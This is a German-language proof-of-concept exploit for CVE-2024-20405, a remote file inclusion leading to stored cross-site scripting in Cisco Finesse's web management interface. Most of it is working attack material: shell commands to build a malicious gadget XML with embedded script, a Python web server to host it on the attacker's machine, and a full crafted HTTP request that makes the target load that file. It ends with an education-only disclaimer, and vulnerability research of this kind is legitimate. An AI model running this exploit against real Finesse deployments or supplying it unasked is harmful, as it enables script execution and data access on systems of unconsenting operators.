
Proof-of-Concept-Exploit für CVE-2024-20405, der gespeichertes XSS via RFI in der webbasierten Verwaltungsoberfläche von Cisco Finesse demonstriert, mit schrittweisem Angriffsablauf.
Eine Schwachstelle in der webbasierten Verwaltungsoberfläche von Cisco Finesse könnte es einem nicht authentifizierten, entfernten Angreifer ermöglichen, einen gespeicherten XSS-Angriff durchzuführen, indem eine RFI-Schwachstelle ausgenutzt wird. Diese Schwachstelle ist auf eine unzureichende Validierung der vom Benutzer bereitgestellten Eingaben für bestimmte HTTP-Anfragen zurückzuführen, die an ein betroffenes Gerät gesendet werden. Ein Angreifer könnte diese Schwachstelle ausnutzen, indem er einen Benutzer dazu bringt, auf einen manipulierten Link zu klicken. Ein erfolgreicher Exploit könnte es dem Angreifer ermöglichen, beliebigen Skriptcode im Kontext der betroffenen Oberfläche auszuführen oder auf sensible Informationen auf dem betroffenen Gerät zuzugreifen.
mkdir cuicui && mkdir cuicui/gadget && mkdir cuicui/gadget/LiveData

nano cuicui/gadget/LiveData/LiveDataGadget.xml
<?xml version="1.0" encoding="UTF-8" ?>
<Module>
<ModulePrefs title="__MSG_default_gadget_title__" height="0" >
<Require feature="pubsub-2" />
<Require feature="settitle" />
<Require feature="setprefs" />
<Require feature="dynamic-height" />
<Require feature="views" />
<Optional feature="content-rewrite">
<!-- these files will be directly served by cuic, not through shindig -->
<Param name="exclude-url">cuicui/gadget/report-gadget.min.js</Param>
<Param name="exclude-url">cuicui/gadget/report-gadget.min.css</Param>
<Param name="exclude-url">desktop/assets/js/finesse.min.js</Param>
<Param name="exclude-url">desktop/scripts/js/ccbu-third-party.min.js</Param>
<Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.woff</Param>
<Param name="exclude-url">desktop/scripts/fonts/CiscoSansTTRegular.woff</Param>
<Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.woff2</Param>
<Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.eot</Param>
</Optional>
</ModulePrefs>
<UserPref name="scheme" display_name="scheme" default_value=""/>
<UserPref name="host" display_name="host" default_value=""/>
<UserPref name="hostPort" display_name="hostPort" default_value=""/>
<Content type="html" view="default,canvas">
<![CDATA[
<!DOCTYPE html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta charset="UTF-8" />
<script type="text/javascript">
alert("From RFI To XSS")
</script>
</head>
<body class="claro" >
<h1>Cisco Finesse v12.6</h1>
</body>
]]>
</Content>
</Module>

python3 -m http.server <port>

<target>, <IP> und <port> ersetzt haben.GET /gadgets/ifr?container=default&mid=0&nocache=0&country=US&lang=en&view=default&refresh=86400&up_id=6000&up_order=14&up_urlPrefs=%7B%22gadgetHeight%22%3A%22280%22%2C%22viewId%22%3A%2256BC5CCE8C37467EA4D4EFA8371258BC%22%2C%22filterId%22%3A%22agentStateLog.id%3DCL%20teamName%22%2C%22scheme%22%3A%22https%22%2C%22hostname%22%3A%22cuica.<target>%22%2C%22port%22%3A%228444%22%7D&up_country=US&up_language=en&up_locale=en_US&up_host=<target>&up_hostPort=8445&up_extension=<extension>&up_xmppDomain=<target>&up_pubsubDomain=pubsub.<target>&up_restHost=<target>&up_mobileAgentMode=undefined&up_mobileAgentDialNumber=undefined&up_scheme=https&up_localhostFQDN=<target>&up_localhostPort=8082&up_teamId=1&up_teamName=Default&up_systemAuthMode=NON_SSO&up_compatibilityMode=false&up_toasterNotificationTimeout=8&up_navItemRoute=%23%2FmyHistory&up_speechRecognitionHighlights=problem%2C%20solution%2C%20defect%2C%20issue%2C%20summary%2C%20glitch%2C%20resolved%2C%20resolution&up_cceSkillTargetId=5515&up_enableDropParticipantFor=supervisor_only&up_dropParticipant=agents&up_CCDContainer=true&up_externalServerHost=https%3A%2F%2F<target>%3A8445&up_deploymentType=UCCE&up_peripheralId=5000&up_messages=%7B%22select.agent.message%22%3A%22Select%20an%20Agent%20from%20Team%20Performance%20Gadget%22%7D&up_gadgetInfo=undefined&st=john.doe:john.doe:appid:cont:url:0:default&url=http%3A%2F%2F<IP>%3A<port>%2Fcuicui%2Fgadget%2FLiveData%2FLiveDataGadget.xml%3FgadgetHeight%3D280%26viewId%3D56BC5CCE8C37467EA4D4EFA8371258BC%26filterId%3DagentStateLog.id%3DCL%2520teamName HTTP/2
Host: <target>:8445
Cookie: timeBeforeFailover=1695819521188; timeBeforeAttemptingLoginInIframe=1695819523191; attemptsMade=1; seqNumberGenerated=1; finesse_ag_extension=<extension>; activeDeviceId4000=SEPD4AD717A03F6; timeBeforeLoadingOtherSide=1695810942373
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://<target>:8445/desktop/container/?locale=en_US&fromlogout=true
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers



Dies ist lediglich ein Konzeptnachweis (PoC), um zu demonstrieren, dass die webbasierte Verwaltungsoberfläche von Cisco Finesse anfällig für Remote File Inclusion (RFI) ist, und dieser PoC dient nur zu Bildungszwecken. Verwenden Sie es verantwortungsbewusst und nur an Systemen, für die Sie eine ausdrückliche Genehmigung zum Testen haben. Missbrauch dieses PoC kann schwerwiegende Folgen haben.